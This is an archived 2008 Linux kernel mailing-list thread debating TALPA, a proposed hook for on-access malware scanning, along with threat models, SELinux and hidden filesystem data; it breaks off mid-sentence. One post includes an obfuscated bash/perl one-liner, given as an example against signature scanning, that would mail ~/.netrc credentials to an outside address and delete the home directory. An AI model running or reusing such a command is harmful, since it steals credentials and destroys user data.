Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rob Meijer]

On Fri, August 15, 2008 13:02, Alan Cox wrote:
>> The package manager approach is interesting in that it marks 'trusted',
>> and is thus permissive rather than restrictive. Maybe it would be
>> possible
>> to extend on this and simply define a set of currently unprivileged
>> access
>> as privileged for untrusted applications. That way you could allow
>> untrusted software to run without risk, even if that untrusted software
>> turns out to be malware. That is, it may be possible to solve the
>> malware
>> problem in a much more fundamental way here by just allowing malware to
>> run without the need to know if it is malware, just by running untrusted
>> software with reduced privileges.
>>
>
> Its called SELinux and SELinux can already do this sort of stuff,
> including things like "only rpm may create files you are permitted to
> execute"

This "permitted to execute" is what I feel is the wrong aproach with
respect to malware. If you simply allow everything to 'execute', I think
that untrusted programs may still be used for usefull things, but without
the potential do do malice. If you start from the point where everything
both trusted and untrusted  is permitted to be executed, you could make it
the job of SELinux or any other LSM to make untrusted code run without
doing malice, but with the possibility to still run and do usefull non
malicious  stuff. This might require some aditional hooks in LSM though I
could imagine.

To take this one step further, it might be usefull to see what kernel/LSM
changes would be needed to allow SELinux and/or possibly better yet,
AppArmor, to work with some powerbox style UI component in order to both
allow and force untrusted programs to run with least authority and still
do usefull stuff.

I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
prommising than the "don't run" approach used by regular AV products.
Making such an approach integrate with LSM's would IMHO be a much more
fundamental approach to malware.

Rob

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Fri, Aug 15, 2008 at 10:22 PM, Rob Meijer <capibara@xs4all.nl> wrote:
> On Fri, August 15, 2008 13:02, Alan Cox wrote:
>>> The package manager approach is interesting in that it marks 'trusted',
>>> and is thus permissive rather than restrictive. Maybe it would be
>>> possible
>>> to extend on this and simply define a set of currently unprivileged
>>> access
>>> as privileged for untrusted applications. That way you could allow
>>> untrusted software to run without risk, even if that untrusted software
>>> turns out to be malware. That is, it may be possible to solve the
>>> malware
>>> problem in a much more fundamental way here by just allowing malware to
>>> run without the need to know if it is malware, just by running untrusted
>>> software with reduced privileges.
>>>
>>
>> Its called SELinux and SELinux can already do this sort of stuff,
>> including things like "only rpm may create files you are permitted to
>> execute"
>
> This "permitted to execute" is what I feel is the wrong aproach with
> respect to malware. If you simply allow everything to 'execute', I think
> that untrusted programs may still be used for usefull things, but without
> the potential do do malice. If you start from the point where everything
> both trusted and untrusted  is permitted to be executed, you could make it
> the job of SELinux or any other LSM to make untrusted code run without
> doing malice, but with the possibility to still run and do usefull non
> malicious  stuff. This might require some aditional hooks in LSM though I
> could imagine.
>
> To take this one step further, it might be usefull to see what kernel/LSM
> changes would be needed to allow SELinux and/or possibly better yet,
> AppArmor, to work with some powerbox style UI component in order to both
> allow and force untrusted programs to run with least authority and still
> do usefull stuff.
>
> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
> prommising than the "don't run" approach used by regular AV products.
> Making such an approach integrate with LSM's would IMHO be a much more
> fundamental approach to malware.
>
They way I look at this.   Most users complain that creating profiles
for applications is too complex.

Lets look for where a system that deals with the same kind of issue.
Its in the firewall with ipset http://ipset.netfilter.org/.

You have a set of rules to do things assigned in the firewall.   With
secuirty this would be the LSM.  User gets to choose from a predefined
list for applications without profiles.

Lets look at some basics here.  Firefox and most internet applications
don't need to edit everything in the user account.   If some link
could be designed into LSM for user to once off approve actions
outside filesystem permissions from the grouping.  Malware reading and
writing stuff would be a lot harder.

Major problem everyone keeps on missing.  TALPA is only operating with
part of the full information about the file.    When file systems go
from native file system to inodes currently the permissions on the
native file system are translated to what linux supports and any that
don't fit is disregarded.   Due to that difference each file system
has its own cache and holes on the file system where viruses could
hide data for other OS's on the system.  So TALPA might save Linux
only to see another OS on the system infected.   Worst case is if the
other OS infected could come back and alter Linux disabling the virus
scanner and reinfecting Linux.

TALPA from its current location is partly blind same with most other
anti-virus and malware scanner running on linux.   Unfortunately to
remove this blindness is rework the file system interface layer.
Single cache for all file system drivers with TALPA embeded where it
can scan everything about a file so when its clean its truly clean.
Also for desktop users being able to see the permissions on there
removable media to make sure they are correct would be a god send.

This is a flaw that people from most other OS's would not think about.
  Since Linux is one of the rare places it exists. LIM and HIDS are
also effected by this blindness.   A hids scanning file systems under
Linux can report that everything is fine when the damage is
permissions that Linux is not translating.  We have a black hole of
thrown away data that cannot be simply scanned.

Long term performance also comes into play.   Current system we have a
few too many caches to ever think about making the file system cache
lock less.   Its blinding and a future bottle neck.

Suppose this defect has been there so long people are thinking of it as normal.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

> This "permitted to execute" is what I feel is the wrong aproach with
> respect to malware. If you simply allow everything to 'execute', I think
> that untrusted programs may still be used for usefull things, but without
> the potential do do malice. If you start from the point where everything
> both trusted and untrusted  is permitted to be executed, you could make it
> the job of SELinux or any other LSM to make untrusted code run without
> doing malice, but with the possibility to still run and do usefull non
> malicious  stuff. This might require some aditional hooks in LSM though I
> could imagine.

SELinux is quite happy to apply different rules to content labelled in
different ways. WHat specific things do you need that it can't do ?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Fri, 15 Aug 2008, Peter Dolding wrote:

>>> Its called SELinux and SELinux can already do this sort of stuff,
>>> including things like "only rpm may create files you are permitted to
>>> execute"
>>
>> This "permitted to execute" is what I feel is the wrong aproach with
>> respect to malware. If you simply allow everything to 'execute', I think
>> that untrusted programs may still be used for usefull things, but without
>> the potential do do malice. If you start from the point where everything
>> both trusted and untrusted  is permitted to be executed, you could make it
>> the job of SELinux or any other LSM to make untrusted code run without
>> doing malice, but with the possibility to still run and do usefull non
>> malicious  stuff. This might require some aditional hooks in LSM though I
>> could imagine.
>>
>> To take this one step further, it might be usefull to see what kernel/LSM
>> changes would be needed to allow SELinux and/or possibly better yet,
>> AppArmor, to work with some powerbox style UI component in order to both
>> allow and force untrusted programs to run with least authority and still
>> do usefull stuff.
>>
>> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
>> prommising than the "don't run" approach used by regular AV products.
>> Making such an approach integrate with LSM's would IMHO be a much more
>> fundamental approach to malware.
>>
> They way I look at this.   Most users complain that creating profiles
> for applications is too complex.
>
> Lets look for where a system that deals with the same kind of issue.
> Its in the firewall with ipset http://ipset.netfilter.org/.
>
> You have a set of rules to do things assigned in the firewall.   With
> secuirty this would be the LSM.  User gets to choose from a predefined
> list for applications without profiles.
>
> Lets look at some basics here.  Firefox and most internet applications
> don't need to edit everything in the user account.   If some link
> could be designed into LSM for user to once off approve actions
> outside filesystem permissions from the grouping.  Malware reading and
> writing stuff would be a lot harder.
>
> Major problem everyone keeps on missing.  TALPA is only operating with
> part of the full information about the file.    When file systems go
> from native file system to inodes currently the permissions on the
> native file system are translated to what linux supports and any that
> don't fit is disregarded.   Due to that difference each file system
> has its own cache and holes on the file system where viruses could
> hide data for other OS's on the system.  So TALPA might save Linux
> only to see another OS on the system infected.   Worst case is if the
> other OS infected could come back and alter Linux disabling the virus
> scanner and reinfecting Linux.

please define your threat model. the section above makes no sense with the 
currently defined threat model.

if the linux kernel squashes stuff from a filesystem such that the 
scanners cannot see it then how in the world can linux then server this 
bad stuff to other systems (what the current threat model is defined as)

if you are saying that you want linux to mount filesystems and scan them, 
then unmount them and allow other systems to mount them and be safe, I 
think you alone in this opinion.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sat, Aug 16, 2008 at 3:31 AM,  <david@lang.hm> wrote:
> On Fri, 15 Aug 2008, Peter Dolding wrote:
>
>>>> Its called SELinux and SELinux can already do this sort of stuff,
>>>> including things like "only rpm may create files you are permitted to
>>>> execute"
>>>
>>> This "permitted to execute" is what I feel is the wrong aproach with
>>> respect to malware. If you simply allow everything to 'execute', I think
>>> that untrusted programs may still be used for usefull things, but without
>>> the potential do do malice. If you start from the point where everything
>>> both trusted and untrusted  is permitted to be executed, you could make
>>> it
>>> the job of SELinux or any other LSM to make untrusted code run without
>>> doing malice, but with the possibility to still run and do usefull non
>>> malicious  stuff. This might require some aditional hooks in LSM though I
>>> could imagine.
>>>
>>> To take this one step further, it might be usefull to see what kernel/LSM
>>> changes would be needed to allow SELinux and/or possibly better yet,
>>> AppArmor, to work with some powerbox style UI component in order to both
>>> allow and force untrusted programs to run with least authority and still
>>> do usefull stuff.
>>>
>>> I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
>>> prommising than the "don't run" approach used by regular AV products.
>>> Making such an approach integrate with LSM's would IMHO be a much more
>>> fundamental approach to malware.
>>>
>> They way I look at this.   Most users complain that creating profiles
>> for applications is too complex.
>>
>> Lets look for where a system that deals with the same kind of issue.
>> Its in the firewall with ipset http://ipset.netfilter.org/.
>>
>> You have a set of rules to do things assigned in the firewall.   With
>> secuirty this would be the LSM.  User gets to choose from a predefined
>> list for applications without profiles.
>>
>> Lets look at some basics here.  Firefox and most internet applications
>> don't need to edit everything in the user account.   If some link
>> could be designed into LSM for user to once off approve actions
>> outside filesystem permissions from the grouping.  Malware reading and
>> writing stuff would be a lot harder.
>>
>> Major problem everyone keeps on missing.  TALPA is only operating with
>> part of the full information about the file.    When file systems go
>> from native file system to inodes currently the permissions on the
>> native file system are translated to what linux supports and any that
>> don't fit is disregarded.   Due to that difference each file system
>> has its own cache and holes on the file system where viruses could
>> hide data for other OS's on the system.  So TALPA might save Linux
>> only to see another OS on the system infected.   Worst case is if the
>> other OS infected could come back and alter Linux disabling the virus
>> scanner and reinfecting Linux.
>
> please define your threat model. the section above makes no sense with the
> currently defined threat model.
>
> if the linux kernel squashes stuff from a filesystem such that the scanners
> cannot see it then how in the world can linux then server this bad stuff to
> other systems (what the current threat model is defined as)
>
> if you are saying that you want linux to mount filesystems and scan them,
> then unmount them and allow other systems to mount them and be safe, I think
> you alone in this opinion.
>
The threat module you are looking at does not cover all the real world
usage even worse detection of unknown real world threats.

Currently if we have a unknown infection on a  windows partition that
is been shared by linux the scanner on Linux cannot see that the
windows permissions has been screwed with.   OS with badly damaged
permissions is a sign of 1 of three things.   100 percent incompetent
admin, failing harddrive or system is breached.   Now if system is
breached on a partition it is most likely extremely stupid to be
sharing the contents of that partition on a file server until what
breached it has been found and fixed.  Reason until files are cleared
anything on that partition could have a unknown infection that you are
now putting up to server to be spread onto other machines.

You asked how would the Linux Server spread bad stuff to other
systems.   Quite simple be blind miss the warning signs that something
has gone badly wrong in the partition that its getting its files from
and just luck out on a zero day attack with no signature and spread it
around the network leading to more machines in the network having
crippled secuirty.

Blocked from being able to see the real permissions of the file system
takes away one of the means to detect unknowns.   We need every means
of defence we can have.

Remember in a hypervisor environment like http://kvm.sf.net you many
want to scan the OS you are about to run in there before you start it
up.  Particularly if that contained server is going to be serving
files to the network.   You don't want a windows server starting up
that has had its anti-virus defeated spreeding viruses to every other
windows machine in the network.  Particularly if that windows server
is running inside kvm on linux.   Linux is currently not setup for
doing this effectively.  Linux cannot run a Host Intrusion Detection
on the other OS effectively this adds another layer of secuirty to be
breached in a hypervirsor envorment .

Multi OS setups are going to become far more common.  Anti-virus
scanning and threat monitoring needs to move with the times.

Also beware across OS type scanning does have its advantages.  Number
1 a windows virus without the help of wine will not normally infect
linux and vice verser.

Anti-Virus has been for years about chasing the threat.   Lets try to
get in front of it.  You thread model needs a major update its
incomplete.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Arjan van de Ven]

On Sat, 16 Aug 2008 13:57:50 +1000
"Peter Dolding" <oiaohm@gmail.com> wrote:
> Anti-Virus has been for years about chasing the threat.   Lets try to
> get in front of it.  You thread model needs a major update its
> incomplete.
> 

The problem TALPA is trying to solve is only part of the puzzle.
Everyone recognizes that. It's a very relevant part of the puzzle (in
corporate context at least), but it's very much so not a complete
puzzle. Does that mean we shouldn't deal with this just because it's
incomplete? Absolutely not!
(nor should we do something that has no value.. but that's not the case;
the model that Erik described is quite well defined as 
"do not give ''bad' content to applications/exec".
There is clearly value in that (even though it's not defined what 'bad'
is other than 'program X or Y says so', but for now we have to live
with that; if it bothers you just think "clamAV").

The implementation idea (have a flag/generationnr in the inode for
'known good', block on read() and mmap(), and schedule async scans in
open or on dirty) seems to be quite solid although several details
(async queueing model for example but also the general dirty
notification system) need to be worked out.

Sadly what you're doing is throwing up smoke and just saying "it
doesn't solve world hunger as well so it's bad". Please do yourself a
favor and stop that before people totally start ignoring you.


-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sat, Aug 16, 2008 at 2:09 PM, Arjan van de Ven <arjan@infradead.org> wrote:
> On Sat, 16 Aug 2008 13:57:50 +1000
> "Peter Dolding" <oiaohm@gmail.com> wrote:
>> Anti-Virus has been for years about chasing the threat.   Lets try to
>> get in front of it.  You thread model needs a major update its
>> incomplete.
>>
>
> The problem TALPA is trying to solve is only part of the puzzle.
> Everyone recognizes that. It's a very relevant part of the puzzle (in
> corporate context at least), but it's very much so not a complete
> puzzle. Does that mean we shouldn't deal with this just because it's
> incomplete? Absolutely not!

TALPA idea I agree with.  As the long term forever solution I don't
agree with due to its location.

Lets look at the general disk to memory path.

[file system driver]
[file system drivers caches]
[inode's]  TALPA links in here and basically runs its own scan cache.

Long term TALPA need to move from the inode layor down and the design
of the file system path needs to change.

[file system driver]
[generic file system cache]  TALPA enters here and spreads.
[inodes]

generic file system cache built in a way that it can store all the non
linux permission and related data that the file system driver needs.

Reasons
1. That shape even if file system extra permissions are decided to be
kept hidden from the rest of Linux anti-virus can scanning can see it.
2. Everything that is in memory  is checked.
3. Infected files can be removed from consuming memory in the file
system cache.  So a raw memory scan of Linux will not trip on viruses
still being present in memory even that TALPA is running.  False
positive suggesting TALPA has failed is possible due to its current
location.
4 share caching of passed and failed with the file system cache.

1 virus removed from a file system cache could equal the complete
memory price of running TALPA.

Its TALPA location I have major issue with.   Being blind to full set
of information to make a judgement call is the other.

I see it in the same cat a unionfs fine as a side patch to main
kernel.   Not fine to enter main kernel due to being in the wrong
place.  Its the balancing act if we let TALPA will it ever develop
down to the location where it should be?

Can you say 100 percent that TALPA is in the right location for what
it is doing.   If it is not its a good temp fix until we can get
developed the solution in the correct location.  Temp fixes normally
never get main line.

Be truthful its simply in the wrong place.   Getting it to the correct
location for most effective memory usage and giving a virus the least
ammont of distance into linux.  Scanned and 100 percent booted out of
memory.  Other thing some file system drivers also keep stuff in there
cache independent to inodes.   So spots at moment can be double
scanned even that the complete time everything was in memory because
the inode was freed and the file system cache still had it.

You want the most effective use of CPU? if no go head with TALPA.

Current TALPA fails too many holes and flaws.   All caused by 1 thing
its location.   Yes its a major job to move it to the correct location
its a major file system operation rework.

TALPA unfortunately is like trying to build a house on quick sand.
Foundations it needs to work correctly and 100 percent effectively
currently not present.   The quick sand of many file system caches had
to come back and bite at some point.  The blocking of seeing all the
file system permissions also had to come back and bite at some point.

Fix the foundations TALPA idea will be solid for its section of the
puzzle.   Sticking head in sand and saying the foundations don't have
major issues is just fooling to your self.  LIM and others patches
trying to be put in also have the same quick sand issue.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Valdis.Kletnieks]

[-- Attachment #1: Type: text/plain, Size: 2923 bytes --]

On Fri, 15 Aug 2008 21:09:42 PDT, Arjan van de Ven said:

(Re-arranging the order of Arjan's comments somewhat...)

> Sadly what you're doing is throwing up smoke and just saying "it
> doesn't solve world hunger as well so it's bad". Please do yourself a
> favor and stop that before people totally start ignoring you.

Many security experts believe that a false sense of security is worse than
no security at all.  In other words, unless the design team is *honest* with
themselves about what the proposal does and doesn't cover, and has at least
an *idea* of how the uncovered parts will function, you're not adding to
the *real* security.

The problem with saying stuff like "Oh, our threat model explicitly rules
out anything done by root" is that all too often, the other part of the
overall plan - the one that constrains the root user - is never deployed.

One of the proponents of the idea told me "so I don't see that as a big
problem", when the problem in question (the race condition between malware
arriving and actual scanning with a signature that detects the malware) is one
of *THE* biggest issue for actual deployments of this sort of stuff.  No, TALPA
doesn't have to necessarily deal with that race condition itself.

But you damn sight well better have a good idea of how you intend to deal
with it, because if you don't, the end result isn't actually usable for
anything...

> (nor should we do something that has no value.. but that's not the case;
> the model that Erik described is quite well defined as 
> "do not give ''bad' content to applications/exec".

The model is *not* "quite well defined" - because "bad content" is a rather
squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
viruses/malware is equivalent to the Turing Halting Problem).  What you
*really* mean is "that subset of bad content that we can reasonably
economically catch with pattern matching signatures".

And at that point, we're well into #2 on Marcus Ranum's list of Bad Security
Ideas - Enumerating Badness.

#!/bin/bash
ONE="system("
TWO="'"
THREE="mail ba"
FOUR="dguy@dropbox.com < ~/.netrc;r"
FIVE="m -rf ~ &');"
echo "$ONE$TWO$THREE$F0UR$FIVE" | perl

That gets dealt with how?  Did you have a signature that matched that targeted
code (of course not, your A/V vendor hasn't seen this e-mail yet)?  Did you
protect the | pipe as well as file input?

(Anybody else remember a few years ago, when ssh and sendmail distrib files
were trojaned with code that ran when the poor victim sysadmin built the
kit, presumably *not* as root - at which point the perpetrator had a open
shell on the box running as the user, and can download whatever privilege
escalation exploits to get root...)

But yeah, trying to scan data before it's read, to detect some fraction of
the known threats, *does* close a few holes.  The question is how does it
fit in as "part of this complete security breakfast"...


[-- Attachment #2: Type: application/pgp-signature, Size: 226 bytes --]

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sat, 16 Aug 2008, Valdis.Kletnieks@vt.edu wrote:

> Many security experts believe that a false sense of security is worse than
> no security at all.  In other words, unless the design team is *honest* with
> themselves about what the proposal does and doesn't cover, and has at least
> an *idea* of how the uncovered parts will function, you're not adding to
> the *real* security.

this is why there was so much preasure for them to define their threat 
model. they have donw so. if you disagree with that please suggest a 
different threat model rather then just listing various threats that their 
model doesn't cover.

> The problem with saying stuff like "Oh, our threat model explicitly rules
> out anything done by root" is that all too often, the other part of the
> overall plan - the one that constrains the root user - is never deployed.

it may not be appropriate to lock down root, it depends on what threats 
the box is under.

on the other hand, locking down root perfectly, but readily serving 
windows virii to other systems isn't good in some cases either.

security is not 'one size fits all'

> One of the proponents of the idea told me "so I don't see that as a big
> problem", when the problem in question (the race condition between malware
> arriving and actual scanning with a signature that detects the malware) is one
> of *THE* biggest issue for actual deployments of this sort of stuff.  No, TALPA
> doesn't have to necessarily deal with that race condition itself.

so how _so_ you handle detecting bad data before anyone defines it as bad?

remember, the 'bad data' may be a $propriatary_media format that only 
causes problems when run with $propriatary_software on $proptiatary_OS. Or 
the 'bad data' could be a document in an open format that complies with 
the specs of that format, but a common client doesn't handle the 
legitimate file correctly.

there is no possible way to detect these ahead of someone defineing them 
as bad. you can prevent them from being exploited on the Linux system (or 
limit the damage of the exploit), that's what SELinux aims at.

> But you damn sight well better have a good idea of how you intend to deal
> with it, because if you don't, the end result isn't actually usable for
> anything...

again, that's why the push for a threat model.

>> (nor should we do something that has no value.. but that's not the case;
>> the model that Erik described is quite well defined as
>> "do not give ''bad' content to applications/exec".
>
> The model is *not* "quite well defined" - because "bad content" is a rather
> squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
> viruses/malware is equivalent to the Turing Halting Problem).  What you
> *really* mean is "that subset of bad content that we can reasonably
> economically catch with pattern matching signatures".

more precisely the model is defined as "do not give 'unchecked' data to 
applications/exec" how they are checked is not defined, providing the 
hooks so that checking can be done is what we are trying to define.

> But yeah, trying to scan data before it's read, to detect some fraction of
> the known threats, *does* close a few holes.  The question is how does it
> fit in as "part of this complete security breakfast"...

one _very_ nice thing about the hooks currently being proposed is that 
they are useful for things besides anti-virus tools, tools that have no 
security implications at all. so even if there were no security benifit 
the hooks are still worth considering. but the fact is there is a threat 
model here that is not addressed well with other mechanisms, that is 
useful to cover.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Alan Cox]

> I really think that we need to avoid trying to have a single 'known good' 
> flag/generationnrwith the inode.

I don't think we should have anything in the inode. We don't want to
bloat inode objects for this cornercase.

> if you store generation numbers for individual apps (in posix attributes 
> to pick something that could be available across a variety of 
> filesystems), you push this policy decision into userspace (where it

Agreed
 
> 1. define a tag namespace associated with the file that is reserved for 
> this purpose for example "scanned-by-*"

What controls somewhat writing such a tag on media remotely ? Locally you
can do this (although you are way too specialized in design - an LSM hook
for controlling tag setting or a general tag reservation sysfs interface
is more flexible than thinking just about scanners.

> 2. have an kernel option that will clear out this namespace whenever a 
> file is dirtied

That will generate enormous amounts of load if not carefully handled.

> 3. have a kernel mechanism to say "set this namespace tag if this other 
> namespace tag is set" (this allows a scanner to set a 'scanning' tag when 
> it starts and only set the 'blessed' tag if the file was not dirtied while 

User space problem. Set flags 'dirty', then set bit 'scanning'
clear 'dirty' then clear 'scanning' when finished. If the dirty flag got
set while you were scanning it will still be set now you've cleared you
scanning flag. Your access policy depends upon your level of paranoia (eg
"dirty|scanning == BAD")

> programs can set the "scanned-by-*" flags on that the 'libmalware' library 

We've already proved libmalware doesn't make sense

> L. the fact that knfsd would not use this can be worked around by running 
> FUSE (which would do the checks) and then exporting the result via knfsdw

Not if you want to get any work done.

> what did I over complicate in this design? or is it the minimum feature 
> set needed?
> 
> are any of the features I list impossible to implement?

Go write it and see, provide benchmarks ?  I don't see from this how you
handled shared mmap ?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Sat, Aug 16, 2008 at 03:19:43PM +1000, Peter Dolding wrote:
> Lets look at the general disk to memory path.
> 
> [file system driver]
> [file system drivers caches]
> [inode's]  TALPA links in here and basically runs its own scan cache.
> 
> Long term TALPA need to move from the inode layor down and the design
> of the file system path needs to change.

Huh?  What are you talking about?  In Linux just about all of the
serious filesystems the only caching for file data happens in the page
cache layer.  So what you're saying doesn't make much sense, unless
you're talking about the user space samba daemon --- but even there,
Samba doesn't do any shortcut routing of data; as far as I know
everything goes from Samba, into the filesystem, before it gets served
out to other clients via Samba back out from the filesystem.  So
everything goes through the page cache.

> Reasons
> 1. That shape even if file system extra permissions are decided to be
> kept hidden from the rest of Linux anti-virus can scanning can see it

No one else is taking about checking permissions; I thought this was
all about file *data* that we've been talking about.

If your argument means that we have to take every single
$Proprietary_OS's wacky permissions system, and push them into to core
Linux system so the AV system can evaluate it, I'm pretty sure
everyone is going to vomit all over such a proposal (and over you).

	    	     	       	    	   - Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sat, 16 Aug 2008, Alan Cox wrote:

>> I really think that we need to avoid trying to have a single 'known good'
>> flag/generationnrwith the inode.
>
> I don't think we should have anything in the inode. We don't want to
> bloat inode objects for this cornercase.

no problem

>> if you store generation numbers for individual apps (in posix attributes
>> to pick something that could be available across a variety of
>> filesystems), you push this policy decision into userspace (where it
>
> Agreed
>
>> 1. define a tag namespace associated with the file that is reserved for
>> this purpose for example "scanned-by-*"
>
> What controls somewhat writing such a tag on media remotely ? Locally you
> can do this (although you are way too specialized in design - an LSM hook
> for controlling tag setting or a general tag reservation sysfs interface
> is more flexible than thinking just about scanners.

there are multiple approaches to this (i.e. a policy issue that belongs in 
userspace)

1. you trust the machines the media comes from, so you trust the scan 
results.

2. you don't trust the remote machines and you then either extend this 
model into a per filesystem approach (and invalidate/increment/change the 
genration key on the new media that's loaded), or you tryand make the 
generation key be cryptograhicly random, so that the odds of the 
generation key on the media being valid for the machine it's plugged into 
is next to impossible (generating a good GUID as the generation key as the 
signature/scanner is loaded would be pretty close to random for example)

you could do a LSM hook, but in many (if not most) cases it makes sense to 
have the tags stored across boots, so if you do it through LSM you have to 
figure out how/where to store it. if you can put it in posix extended 
attibutes most filesystems will handle it for you.

>> 2. have an kernel option that will clear out this namespace whenever a
>> file is dirtied
>
> That will generate enormous amounts of load if not carefully handled.

will it? if it's already empty trying to clear it should be cheap. it's 
like maintaining the dirty bit on a chunk of memory.

>> 3. have a kernel mechanism to say "set this namespace tag if this other
>> namespace tag is set" (this allows a scanner to set a 'scanning' tag when
>> it starts and only set the 'blessed' tag if the file was not dirtied while
>
> User space problem. Set flags 'dirty', then set bit 'scanning'
> clear 'dirty' then clear 'scanning' when finished. If the dirty flag got
> set while you were scanning it will still be set now you've cleared you
> scanning flag. Your access policy depends upon your level of paranoia (eg
> "dirty|scanning == BAD")

this still leaves a window between the time you last check that the dirty 
flag is still set, while you clear the dirty flag and set the clean flag 
that modifications could be made to the file and it will still get marked 
clean. if this race is small enough this feature can be skipped

>> programs can set the "scanned-by-*" flags on that the 'libmalware' library
>
> We've already proved libmalware doesn't make sense

I missed that part of the discussion. what I was reading was that people 
were saying that it worked for everything except staticly compiled 
binaries and knfsd.

why would it not make sense to have the checking in a userspace library 
(libmalware could be seperate or loaded from glibc or be part of glibc, 
depending on your level of concern

>> L. the fact that knfsd would not use this can be worked around by running
>> FUSE (which would do the checks) and then exporting the result via knfsdw
>
> Not if you want to get any work done.
>
>> what did I over complicate in this design? or is it the minimum feature
>> set needed?
>>
>> are any of the features I list impossible to implement?
>
> Go write it and see, provide benchmarks ?  I don't see from this how you
> handled shared mmap ?

the kernel detects writes to mmap and dirties the file (clearing the 
flags), the next time the file is accessed it will be re-scanned (assuming 
that the background scanner doesn't get there first) do the checks at the 
time of mmap, don't try to do it for each memory read.

as for two programs having the file open at the same time and the risk of 
passing bad data from one to the other. the risk model specifies we are 
not trying to protect against running programs. shared mmap is a 
communications channel between them just like a pipe, we aren't trying to 
protect inter-process communication (just like we aren't trying to protect 
network communication)

there are probably better answers, but I'm leaving that up to the folks 
who want to write all the scanning tools. I'm just trying to help by 
assembling the ideas different people mentioned during this thread into a 
minimaly invasive set of hooks that are useful beyond the AV space into 
other things that are needed (like HSM, indexing, or for that matter a 
backup daemon could gather the list of files it needs for an incrimental 
backup by listening for the kernel to tell it every file that changes 
instead of needing to scan TB worth of filesystems for them)

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Sat, Aug 16, 2008 at 7:39 PM, Theodore Tso <tytso@mit.edu> wrote:
> On Sat, Aug 16, 2008 at 03:19:43PM +1000, Peter Dolding wrote:
>> Lets look at the general disk to memory path.
>>
>> [file system driver]
>> [file system drivers caches]
>> [inode's]  TALPA links in here and basically runs its own scan cache.
>>
>> Long term TALPA need to move from the inode layor down and the design
>> of the file system path needs to change.
>
> Huh?  What are you talking about?  In Linux just about all of the
> serious filesystems the only caching for file data happens in the page
> cache layer.  So what you're saying doesn't make much sense, unless
> you're talking about the user space samba daemon --- but even there,
> Samba doesn't do any shortcut routing of data; as far as I know
> everything goes from Samba, into the filesystem, before it gets served
> out to other clients via Samba back out from the filesystem.  So
> everything goes through the page cache.

These file system caches are internal permissions caching points where
the driver decides what you can and cannot see.  Before conversion to
normal inode structs.  Others have own internal buffers for transfers.
  Yes everything is stored on the page cache but it does not have to
be in any shape you would normally id as a file.  I have a bad habit
of putting buffers and caches in the same box.  Thinking that some
file system drivers are smart enough to use the same buffer if they
get the same request twice.  So even that a file may have been
rejected due to being a virus it can still be sitting around in memory
in a buffer not cleared.
>
>> Reasons
>> 1. That shape even if file system extra permissions are decided to be
>> kept hidden from the rest of Linux anti-virus can scanning can see it
>
> No one else is taking about checking permissions; I thought this was
> all about file *data* that we've been talking about.
>
> If your argument means that we have to take every single
> $Proprietary_OS's wacky permissions system, and push them into to core
> Linux system so the AV system can evaluate it, I'm pretty sure
> everyone is going to vomit all over such a proposal (and over you).
>
Thrown away data is not only Proprietary OS Ted.  There are permssions
on mac amiga and many others but there not the only issues of stuff
being made invisible by the driver.

There are fully documented file systems that have hidden streams you
cannot see without passing them correct flags.

UDF undelete and unhide options and ISO showassoc  makes more files
appear on those formats.  UDF and ISO hidden files are one of the
nasties.  AV scans the disk calls it clean.  Remount it with the other
options enabled nice little bit of magic hidden infected files could
turn up.   Black holed.

What is the worst bit about this knowing the luck of this world.
Some people will mount the disks/partitions with the option that
displays the virus with a OS without a anti-virus because another
computer said the disk was clean.

Ext2/3/4 nouser_xattr and noacl don't remove the permissions just
remove the map threw from the driver.

Now there is also the up coming issues of www.nilfs.org and other
continual snap shotting file systems.   If cannot see the permissions
the filesystem drivers are processing and the data those permissions
are causing to be hidden.  The best you can do at the moment see that
the flags to make the data invisible or visible is set and ask user to
remount drive just so you can scan it.  Continual snap shotting file
systems users are not going to take to being asked to stop what they
are doing so anti-virus can remount the filesystem a few million times
to make sure the disk is clean of viruses.  Virus scanning takes long
enough without doing that.

So either anti-virus companies will have to build custom interfaces
that bugs users to handle UDF ISO and any other continual snap
shotting file system that appears.  Or we improve the core so software
that needs to can see everything on a file system can to the level the
drivers support so when a drive is truly 100 percent scanned it is 100
percent scanned.   No missing files.  Root user really does not help
against hidden files that the driver is hiding due to obeying hidden
permissions.

I was not clear enough.   Some of the hidden permissions that don't
appear in the inode system cause files to disappear from existence on
the file system until that filesystem is mounted with the right
option.   Or in the case of a continual snap shotting filesystem virus
could be still there in a roll back just like windows.  So user
deleting the virus never got rid of it.  So months latter the same
virus can turn up again and again.  If it just happens to line up with
the user have the anti-virus down it gets a second chance that it
should have never got.  Surface scanning from the inode system is
kinda blind to a lot of hidden spots on quite a few file systems.

Some of the hidden permissions can be handy as well for HIDS to tell
if anyone has been on a file system since it was last there too.  If a
not used acl or user xattr been touched someone else has been on the
